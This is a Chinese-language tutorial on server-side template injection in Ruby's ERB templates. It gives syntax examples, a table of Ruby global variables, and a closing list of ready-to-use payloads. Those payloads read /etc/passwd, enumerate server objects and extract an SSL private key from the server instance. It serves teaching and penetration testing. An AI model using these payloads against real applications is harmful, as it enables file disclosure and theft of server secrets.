Ruby的ERB模板注入
基本语法
- <%写逻辑脚本(Ruby语法)%>
- <%=直接输出变量值或运算结果%>
1
2
3
4
5
6
7
8
|
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())
|
这样会输出5和4
如果x可控,即可实现常见的ssti
1
2
3
4
5
6
|
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())
|
还可以进行文件读取
1
2
3
4
5
6
|
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('/etc/passwd').read
puts erb_object.result(binding())
|
枚举当前类的可用方法
1
2
3
4
5
6
|
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())
|
ruby的全局变量
更准确的这个链接globals - Documentation for Ruby 2.4.0
| Ruby全局变量 |
中文释义 |
| $! |
错误信息 |
| $@ |
错误发生的位置 |
| $0 |
正在执行的程序的名称 |
| $& |
成功匹配的字符串 |
| $/ |
输入分隔符,默认为换行符 |
| $\ |
输出记录分隔符(print和IO) |
| $. |
上次读取的文件的当前输入行号 |
| $; $-F |
默认字段分隔符 |
| $, |
输入字符串分隔符,连接多个字符串时用到 |
| $= |
不区分大小写 |
| $~ |
最后一次匹配数据 |
| $` |
最后一个成功匹配的字符串左侧的字符串 |
| $’ |
最后一个成功匹配的字符串右侧的字符串 |
| $+ |
最后一个括号匹配内容 |
| $1~$9 |
各组匹配结果 |
| $< ARGF |
命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin) |
| $> |
打印的默认输出 |
| $_ |
从输入设备中读取的最后一行 |
| $* ARGV |
命令行参数 |
| $$ |
运行此脚本的Ruby的进程号 |
| $? |
最后执行的子进程的状态 |
| $: $-I |
加载的二进制模块(库)的路径 |
| $“ |
数组包含的需要加载的库的名字 |
| $DEBUG $-d |
调试标志,由-d开关设置 |
| $LOADED_FEATURES |
$“的别名 |
| $FILENAME |
来自$<的当前输入文件 |
| $LOAD_PATH |
$: |
| $stderr |
当前标准误差输出 |
| $stdin |
当前标准输入 |
| $stdout |
当前标准输出 |
| $VERBOSE $-v |
详细标志,由-w或-v开关设置 |
| $-0 |
$/ |
| $-a |
只读 |
| $-i |
在in-place-edit模式下,此变量保存扩展名 |
| NIL |
0本身 |
| ENV |
当前环境变量 |
| RUBY_VERSION |
Ruby版本 |
| RUBY_RELEASE_DATE |
发布日期 |
| RUBY_PLATFORM |
平台标识符 |
常用payload
1
2
3
4
5
6
7
8
9
10
|
<%= 7 * 7 %>
<%= File.open(‘/etc/passwd’).read %>
<%= self %> //枚举该对象可用的属性及方法
<%= self.class.name %> //获取self对象的类名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %> //获取目标所需的具体参数
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %> //提取key值
|